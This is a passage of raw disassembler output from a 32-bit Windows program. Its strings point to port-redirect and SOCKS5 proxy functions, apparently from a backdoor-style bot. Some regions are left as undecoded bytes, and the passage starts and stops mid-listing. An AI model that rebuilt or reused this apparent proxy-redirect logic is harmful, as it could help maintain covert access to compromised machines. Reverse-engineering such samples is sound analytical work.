[esi+3Bh] xor ecx, ecx mov [esp+44h+var_2C], ecx push edx mov [esp+48h+var_28], ecx mov word ptr [esp+48h+var_2C], 2 mov [esp+48h+var_24], ecx mov [esp+48h+var_20], ecx call near ptr 71AB2B66h nop mov ecx, [esi+9Dh] mov word ptr [esp+44h+var_2C+2], ax lea eax, [esp+44h+var_2C] push 10h push eax push ecx mov [esp+50h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42B96B mov edx, [esi+9Dh] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42B96B: ; CODE XREF: sub_42B880+C9j mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz loc_42BA64 loc_42B97F: ; CODE XREF: sub_42B880+1DEj mov ecx, [esi+9Dh] push 0Ah push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz loc_42BA45 mov ecx, [esi+9Dh] lea edx, [esp+44h+var_34] lea eax, [esp+44h+var_1C] push edx push eax push ecx call near ptr 71AC1028h nop mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42BA45 xor edi, edi cmp ebp, edi jz loc_42BA45 push 0A9h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42B9E5 mov ecx, eax call sub_401663 mov edi, eax loc_42B9E5: ; CODE XREF: sub_42B880+15Aj mov edx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], edx mov eax, [esi+3Bh] mov [edi+3Bh], eax mov ecx, [esi+3Fh] mov [edi+3Fh], ecx push ebx lea ecx, [edi+43h] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401FBE lea eax, [esi+26h] lea ecx, [edi+26h] push eax mov [edi+0A1h], ebp call sub_401FBE mov dl, [esi+97h] mov ecx, edi mov [edi+97h], dl mov al, [esi+98h] mov [edi+98h], al call sub_4013D4 loc_42BA45: ; CODE XREF: sub_42B880+111j ; sub_42B880+133j ... push 0FAh call near ptr 2821BE4h nop mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz loc_42B97F loc_42BA64: ; CODE XREF: sub_42B880+F9j mov eax, [esi+9Dh] cmp eax, 0FFFFFFFFh jz short loc_42BA76 push eax call near ptr 71AB9639h nop loc_42BA76: ; CODE XREF: sub_42B880+1EDj mov edx, [esi+3Fh] mov ecx, ebx push edx call sub_4017E4 push eax mov eax, [esi+3Bh] push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 24h loc_42BAB8: ; CODE XREF: sub_42B880+7Cj mov ecx, [esp+44h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 34h retn sub_42B880 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42BB70 proc near ; CODE XREF: sub_4021DFj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42BB70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 3 push 14h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 mov esi, ecx push 5 lea eax, [esp+74h+var_3C] push 12h push eax mov dword ptr [esi+118h], 0 call sub_4019B5 add esp, 38h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_42BB70 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 12h push 7 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+38h] push 12h push edx call sub_4019B5 add esp, 38h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 14h push 14h push 8 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+3Ch] push 12h push ecx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea eax, [esp+40h] push 12h push eax call sub_4019B5 add esp, 40h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+8Eh] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 49h push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+44h] push 12h push edx call sub_4019B5 add esp, 44h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 push eax lea eax, [esi+0BCh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+54h] push 12h push ecx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017E4 add esi, 0EAh push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0A0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42BE60: ; CODE XREF: ___:loc_40202Cj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43BD84 push eax mov large fs:0, esp sub esp, 68h push ebx push ebp push esi mov esi, [esp+84h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4017E4 push eax mov ecx, edi call sub_4012EE or ebx, 0FFFFFFFFh test eax, eax jnz loc_42BFC7 push 0A1h call sub_4367FA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 9050FFFDh dd 7F000BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch dd 3E80000h, 68FFFD53h, 443600h, 4C244C8Dh, 8B51026Ah dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h dd 4C8DFFFDh, 9C894824h, 8024h, 52CCE800h, 68FFFDh, 8D004436h dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h dd 30000h, 65E80000h, 50FFFD58h, 0FF92E890h, 0C483777Eh dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD528Ah dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h dd 97h, 94968Ah, 0CF8B0000h, 989788h, 0DE80000h db 54h, 0FDh, 0FFh ; --------------------------------------------------------------------------- loc_42BFC7: ; CODE XREF: ___:0042BE9Dj lea ecx, [ebp+32h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C0F7 push 9Dh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 4 jz short loc_42C00E mov ecx, eax call sub_401889 mov edi, eax jmp short loc_42C010 ; --------------------------------------------------------------------------- loc_42C00E: ; CODE XREF: ___:0042C001j xor edi, edi loc_42C010: ; CODE XREF: ___:0042C00Cj push offset asc_443600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE push eax lea ecx, [edi+58h] mov dword ptr [esp+84h], 5 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016AE push eax lea ecx, [edi+6Dh] mov dword ptr [esp+84h], 6 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+4Ch] push 3 push edx mov ecx, esi call sub_4016AE push eax lea ecx, [edi+82h] mov dword ptr [esp+84h], 7 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013D4 loc_42C0F7: ; CODE XREF: ___:0042BFDAj lea ecx, [ebp+60h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C220 push 0A2h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 8 jz short loc_42C13E mov ecx, eax call sub_4018DE mov edi, eax jmp short loc_42C140 ; --------------------------------------------------------------------------- loc_42C13E: ; CODE XREF: ___:0042C131j xor edi, edi loc_42C140: ; CODE XREF: ___:0042C13Cj push offset asc_443600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE mov ecx, eax mov dword ptr [esp+80h], 9 call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016AE push offset aTrue ; "true" mov ecx, eax mov dword ptr [esp+84h], 0Ah call sub_401500 test eax, eax lea ecx, [esp+48h] mov [esp+80h], ebx setz byte ptr [esp+88h] call sub_401226 mov al, [esp+88h] test al, al jz short loc_42C1EE mov byte ptr [edi+9Dh], 1 jmp short loc_42C1F5 ; --------------------------------------------------------------------------- loc_42C1EE: ; CODE XREF: ___:0042C1E3j mov byte ptr [edi+9Dh], 0 loc_42C1F5: ; CODE XREF: ___:0042C1ECj lea edx, [esi+69h] lea ecx, [edi+26h] push edx call sub_401FBE mov al, [esi+93h] mov [edi+97h], al mov cl, [esi+94h] mov [edi+98h], cl mov ecx, edi call sub_4013D4 loc_42C220: ; CODE XREF: ___:0042C10Aj lea ecx, [ebp+8Eh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C2ED push 0A1h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 0Bh jz short loc_42C26A mov ecx, eax call sub_40216C mov edi, eax jmp short loc_42C26C ; --------------------------------------------------------------------------- loc_42C26A: ; CODE XREF: ___:0042C25Dj xor edi, edi loc_42C26C: ; CODE XREF: ___:0042C268j push offset asc_443600 ; " " lea edx, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push edx mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE mov ecx, eax mov dword ptr [esp+80h], 0Ch call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013D4 loc_42C2ED: ; CODE XREF: ___:0042C236j lea ecx, [ebp+0BCh] call sub_4014D3 lea edi, [esi+7Eh] push eax mov ecx, edi mov [esp+8Ch], edi call sub_4012EE test eax, eax jnz loc_42C519 lea ecx, [esp+30h] call sub_401424 lea ecx, [esp+18h] mov dword ptr [esp+80h], 0Dh call sub_401424 push offset asc_443600 ; " " lea eax, [esp+4Ch] push 2 push eax mov ecx, esi mov byte ptr [esp+8Ch], 0Eh call sub_4016AE mov ecx, eax mov byte ptr [esp+80h], 0Fh call sub_4017E4 push eax lea ecx, [esp+34h] call sub_401A87 lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 3 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+80h], 10h call sub_4017E4 push eax lea ecx, [esp+1Ch] call sub_401A87 lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+30h] call sub_4014D3 cmp eax, offset byte_446F70 jnz short loc_42C3CF push offset aRoot ; "root" lea ecx, [esp+1Ch] call sub_401A87 loc_42C3CF: ; CODE XREF: ___:0042C3BFj lea ecx, [esp+18h] call sub_4014D3 cmp eax, offset byte_446F70 jnz short loc_42C3ED push offset byte_446F70 lea ecx, [esp+1Ch] call sub_401A87 loc_42C3ED: ; CODE XREF: ___:0042C3DDj push offset asc_443600 ; " " lea edx, [esp+4Ch] push 1 push edx mov ecx, esi call sub_4016AE mov edi, eax lea ecx, [esp+18h] mov byte ptr [esp+80h], 11h call sub_4017E4 push eax lea ecx, [esp+34h] call sub_4017E4 push eax mov ecx, edi call sub_4017E4 mov edi, dword_50FB08 push eax call edi ; atoi add esp, 4 lea ecx, [esi+69h] push eax push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "... call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 20h lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+28h], esp push eax call sub_401861 lea ecx, [esp+48h] mov byte ptr [esp+98h], 12h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+44h], esp push eax call sub_401861 push offset asc_443600 ; " " lea edx, [esp+94h] push 1 push edx mov ecx, esi mov byte ptr [esp+0BCh], 13h call sub_4016AE mov ecx, eax mov byte ptr [esp+0B0h], 15h call sub_4017E4 push eax call edi ; atoi add esp, 4 push eax call sub_401C17 add esp, 34h lea ecx, [esp+60h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] mov byte ptr [esp+80h], 0Dh call sub_401226 lea ecx, [esp+30h] mov [esp+80h], ebx call sub_401226 mov edi, [esp+88h] loc_42C519: ; CODE XREF: ___:0042C30Cj lea ecx, [ebp+0EAh] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42C536 mov [ebp+11Ch], al loc_42C536: ; CODE XREF: ___:0042C52Ej mov ecx, [esp+78h] pop edi pop esi pop ebp mov al, 1 mov large fs:0, ecx pop ebx add esp, 74h retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 1C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C710 proc near ; CODE XREF: sub_4021A8j var_4 = dword ptr -4 push ecx mov edx, dword_447A8D push esi mov esi, ecx mov eax, [esi+99h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_42C731 inc ecx mov [eax+118h], ecx loc_42C731: ; CODE XREF: sub_42C710+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+99h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E6EDB call sub_40120D sub_42C710 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C790 proc near ; CODE XREF: sub_401E06j var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call sub_436F4E sub_42C790 endp ; --------------------------------------------------------------------------- db 85h, 0C0h, 74h dd 840D8B19h, 500050FAh, 6840C183h, 445414h, 54E89051h dd 83778146h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42C7E0: ; CODE XREF: ___:00401D7Aj mov eax, [esp+4] test eax, eax jz short loc_42C7F3 mov ecx, [eax+18h] test ecx, ecx jnz short loc_42C7F3 add eax, 44h retn ; --------------------------------------------------------------------------- loc_42C7F3: ; CODE XREF: ___:0042C7E6j ; ___:0042C7EDj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C810 proc near ; CODE XREF: sub_401A69j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_12 = word ptr 16h sub esp, 14h mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ebx push ebp mov [esp+1Ch+var_C], eax push esi push edi mov [esp+24h+var_8], eax push ecx mov [esp+28h+var_14], 1 mov [esp+28h+var_4], eax mov word ptr [esp+28h+var_10], 2 call near ptr 77C46125h nop mov ebp, eax push 3Ah push ebp nop call near ptr 77C47660h mov esi, eax xor ebx, ebx add esp, 0Ch cmp esi, ebx jnz short loc_42C884 push offset aTcp ; "tcp" push offset aFtp ; "ftp" call sub_436F96 ; --------------------------------------------------------------------------- dd 6C75C33Bh, 44546868h, 7BE89000h, 837780A5h, 0C03304C4h dd 5B5D5E5Fh, 0C314C483h ; --------------------------------------------------------------------------- loc_42C884: ; CODE XREF: sub_42C810+47j mov [esi], bl mov eax, dword_50FB14 inc esi cmp dword ptr [eax], 1 jle short loc_42C8A2 movsx ecx, byte ptr [esi] push 4 push ecx nop call near ptr 77C1C561h add esp, 8 jmp short loc_42C8B2 ; --------------------------------------------------------------------------- loc_42C8A2: ; CODE XREF: sub_42C810+7Fj mov eax, dword_50FA78 movsx edx, byte ptr [esi] mov ecx, [eax] mov al, [ecx+edx*2] and eax, 4 loc_42C8B2: ; CODE XREF: sub_42C810+90j cmp eax, ebx jz short loc_42C8CD push esi nop call near ptr 77C1BF18h add esp, 4 push eax call sub_436F36 ; --------------------------------------------------------------------------- mov [esp+arg_12], ax jmp short sub_42C8E1 ; --------------------------------------------------------------------------- loc_42C8CD: ; CODE XREF: sub_42C810+A4j push offset aTcp ; "tcp" push esi call sub_436F96 sub_42C810 endp ; --------------------------------------------------------------------------- mov dx, [eax+8] mov [esp+16h], dx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C8E1 proc near ; CODE XREF: sub_42C810+BBj push ebp call sub_436EF4 sub_42C8E1 endp ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh mov [esp+18h], eax jnz short loc_42C92D push ebp call sub_436EE8 ; --------------------------------------------------------------------------- dw 0C33Bh dd 58681875h, 0E8004454h, 7780A4EEh, 4C48390h, 5E5FC033h dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch dd 2E9C130h, 0CA8BA5F3h, 0F303E183h ; --------------------------------------------------------------------------- movsb loc_42C92D: ; CODE XREF: ___:0042C8EEj push ebp mov ebp, dword_50FAC4 call ebp ; free add esp, 4 push 6 push 1 push 2 call sub_436F3C ; --------------------------------------------------------------------------- dd 0FF83F88Bh, 681875FFh, 445450h, 0A49CE890h, 0C4837780h dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h dd 0FFFF68h, 0DE85700h, 830000A6h, 775FFF8h, 44544068h dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h dd 52406807h, 1BEB0044h, 14468h, 90016A00h, 7FF71AE8h dd 83F08B77h, 0F33B08C4h, 38681E75h, 90004454h, 80A435E8h dd 4C48377h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h dd 200068h, 2CE89000h, 83777FFAh, 0C33B04C4h, 75144689h dd 54386824h, 3E80044h, 907780A4h, 5704C483h, 0A50DE8h dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42CB10 proc near ; CODE XREF: ___:0042D266p ; sub_42DFD0+70p var_8 = byte ptr -8 var_5 = byte ptr -5 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 sub esp, 8 push ebx push ebp push esi push edi mov edi, [esp+18h+arg_4] push edi push 100h lea esi, [edi+44h] push esi call sub_42CC50 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42CB4A loc_42CB32: ; CODE XREF: sub_42CB10+8Ej ; sub_42CB10+D9j push offset aControlSocketR ; "Control socket read failed" call near ptr 77C36DF2h nop add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CB4A: ; CODE XREF: sub_42CB10+20j mov eax, dword_50E3DC mov ebx, dword_50FA80 cmp eax, 1 jle short loc_42CB6E mov eax, dword_50FA84 push esi add eax, 40h push offset aS ; "%s" push eax call ebx ; fprintf add esp, 0Ch loc_42CB6E: ; CODE XREF: sub_42CB10+48j cmp byte ptr [edi+47h], 2Dh jnz short loc_42CBEE push 3 lea ecx, [esp+1Ch+var_8] push esi push ecx call near ptr 77C47A90h nop push edi push 100h push esi mov [esp+30h+var_5], 20h mov [esp+30h+var_4], 0 call sub_42CC50 add esp, 18h cmp eax, 0FFFFFFFFh jz short loc_42CB32 mov ebp, dword_50FAD4 loc_42CBA6: ; CODE XREF: sub_42CB10+D7j cmp dword_50E3DC, 1 jle short loc_42CBC4 mov edx, dword_50FA84 push esi add edx, 40h push offset aS ; "%s" push edx call ebx ; fprintf add esp, 0Ch loc_42CBC4: ; CODE XREF: sub_42CB10+9Dj lea eax, [esp+18h+var_8] push 4 push eax push esi call ebp ; strncmp add esp, 0Ch test eax, eax jz short loc_42CBEE push edi push 100h push esi call sub_42CC50 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42CBA6 jmp loc_42CB32 ; --------------------------------------------------------------------------- loc_42CBEE: ; CODE XREF: sub_42CB10+62j ; sub_42CB10+C3j mov cl, [esi] mov dl, [esp+18h+arg_0] xor eax, eax pop edi cmp cl, dl pop esi pop ebp pop ebx setz al add esp, 8 retn sub_42CB10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CC50 proc near ; CODE XREF: sub_42CB10+15p ; sub_42CB10+83p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 8 push ebx push ebp mov ebp, [esp+10h+arg_0] push esi mov esi, [esp+14h+arg_8] xor ecx, ecx push edi mov [esp+18h+var_8], ecx mov eax, [esi+18h] mov [esp+18h+var_4], ecx cmp eax, ecx jz short loc_42CC80 cmp eax, 1 jz short loc_42CC80 pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CC80: ; CODE XREF: sub_42CC50+1Ej ; sub_42CC50+23j mov ebx, [esp+18h+arg_4] cmp ebx, ecx jnz short loc_42CC92 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CC92: ; CODE XREF: sub_42CC50+36j ; sub_42CC50+115j mov edi, [esi+0Ch] test edi, edi jle short loc_42CCE3 cmp ebx, edi jge short loc_42CCA0 lea edi, [ebx-1] loc_42CCA0: ; CODE XREF: sub_42CC50+4Bj mov eax, [esi+4] push edi push 0Ah push eax push ebp call near ptr 77C46170h nop add esp, 10h test eax, eax jz short loc_42CCB9 mov edi, eax sub edi, ebp loc_42CCB9: ; CODE XREF: sub_42CC50+63j mov edx, [esp+18h+var_8] add ebp, edi add edx, edi sub ebx, edi mov [esp+18h+var_8], edx mov byte ptr [ebp+0], 0 mov ecx, [esi+4] mov edx, [esi+0Ch] add ecx, edi sub edx, edi test eax, eax mov [esi+4], ecx mov [esi+0Ch], edx jnz loc_42CD6A loc_42CCE3: ; CODE XREF: sub_42CC50+47j cmp ebx, 1 jz loc_42CDBD mov ecx, [esi] mov eax, [esi+4] cmp ecx, eax jnz short loc_42CD0B mov eax, [esi+14h] mov dword ptr [esi+0Ch], 0 mov [esi+4], eax mov [esi], eax mov dword ptr [esi+10h], 2000h loc_42CD0B: ; CODE XREF: sub_42CC50+A3j mov eax, [esp+18h+var_4] test eax, eax jnz loc_42CDD0 push esi call sub_42CE80 add esp, 4 test eax, eax jz loc_42CE02 mov edx, [esi+10h] mov eax, [esi] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_436EFA ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz loc_42CDEC test eax, eax jnz short loc_42CD4F mov [esp+18h+var_4], 1 loc_42CD4F: ; CODE XREF: sub_42CC50+F5j mov edi, [esi+10h] mov edx, [esi+0Ch] mov ecx, [esi] sub edi, eax add edx, eax add ecx, eax mov [esi+10h], edi mov [esi+0Ch], edx mov [esi], ecx jmp loc_42CC92 ; --------------------------------------------------------------------------- loc_42CD6A: ; CODE XREF: sub_42CC50+8Dj sub ebp, 2 mov esi, offset asc_445230 ; "\r\n" mov eax, ebp loc_42CD74: ; CODE XREF: sub_42CC50+146j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42CD9C test cl, cl jz short loc_42CD98 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42CD9C add eax, 2 add esi, 2 test cl, cl jnz short loc_42CD74 loc_42CD98: ; CODE XREF: sub_42CC50+130j xor eax, eax jmp short loc_42CDA1 ; --------------------------------------------------------------------------- loc_42CD9C: ; CODE XREF: sub_42CC50+12Cj ; sub_42CC50+13Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42CDA1: ; CODE XREF: sub_42CC50+14Aj test eax, eax jnz short loc_42CE02 mov byte ptr [ebp+0], 0Ah mov [ebp+1], al mov eax, [esp+18h+var_8] pop edi dec eax pop esi pop ebp mov [esp+0Ch+var_8], eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDBD: ; CODE XREF: sub_42CC50+96j mov eax, [esp+18h+arg_0] pop edi pop esi pop ebp mov byte ptr [eax], 0 mov eax, [esp+0Ch+var_8] pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDD0: ; CODE XREF: sub_42CC50+C1j mov eax, [esp+18h+var_8] test eax, eax jnz short loc_42CE02 pop edi mov [esp+14h+var_8], 0FFFFFFFFh mov eax, [esp+14h+var_8] pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDEC: ; CODE XREF: sub_42CC50+EDj push offset aRead ; "read" call near ptr 77C36DF2h nop add esp, 4 mov [esp+18h+var_8], 0FFFFFFFFh loc_42CE02: ; CODE XREF: sub_42CC50+D2j ; sub_42CC50+153j ... mov eax, [esp+18h+var_8] pop edi pop esi pop ebp pop ebx add esp, 8 retn sub_42CC50 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CE80 proc near ; CODE XREF: sub_42CC50+C8p ; sub_42DC70:loc_42DC9Dp ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 10Ch push ebx push ebp push esi mov esi, [esp+118h+arg_0] xor ebx, ebx xor ebp, ebp mov eax, [esi+18h] test eax, eax jz loc_42CF63 mov ecx, [esi+30h] test ecx, ecx jz loc_42CF63 cmp eax, 2 jnz short loc_42CEB5 lea ebp, [esp+118h+var_104] jmp short loc_42CEB9 ; --------------------------------------------------------------------------- loc_42CEB5: ; CODE XREF: sub_42CE80+2Dj lea ebx, [esp+118h+var_104] loc_42CEB9: ; CODE XREF: sub_42CE80+33j xor eax, eax push edi mov [esp+11Ch+var_104], eax loc_42CEC0: ; CODE XREF: sub_42CE80+98j cmp eax, 40h jnb short loc_42CED5 mov ecx, [esi+8] mov [esp+eax*4+11Ch+var_100], ecx mov eax, [esp+11Ch+var_104] inc eax mov [esp+11Ch+var_104], eax loc_42CED5: ; CODE XREF: sub_42CE80+43j mov edx, [esi+28h] mov eax, 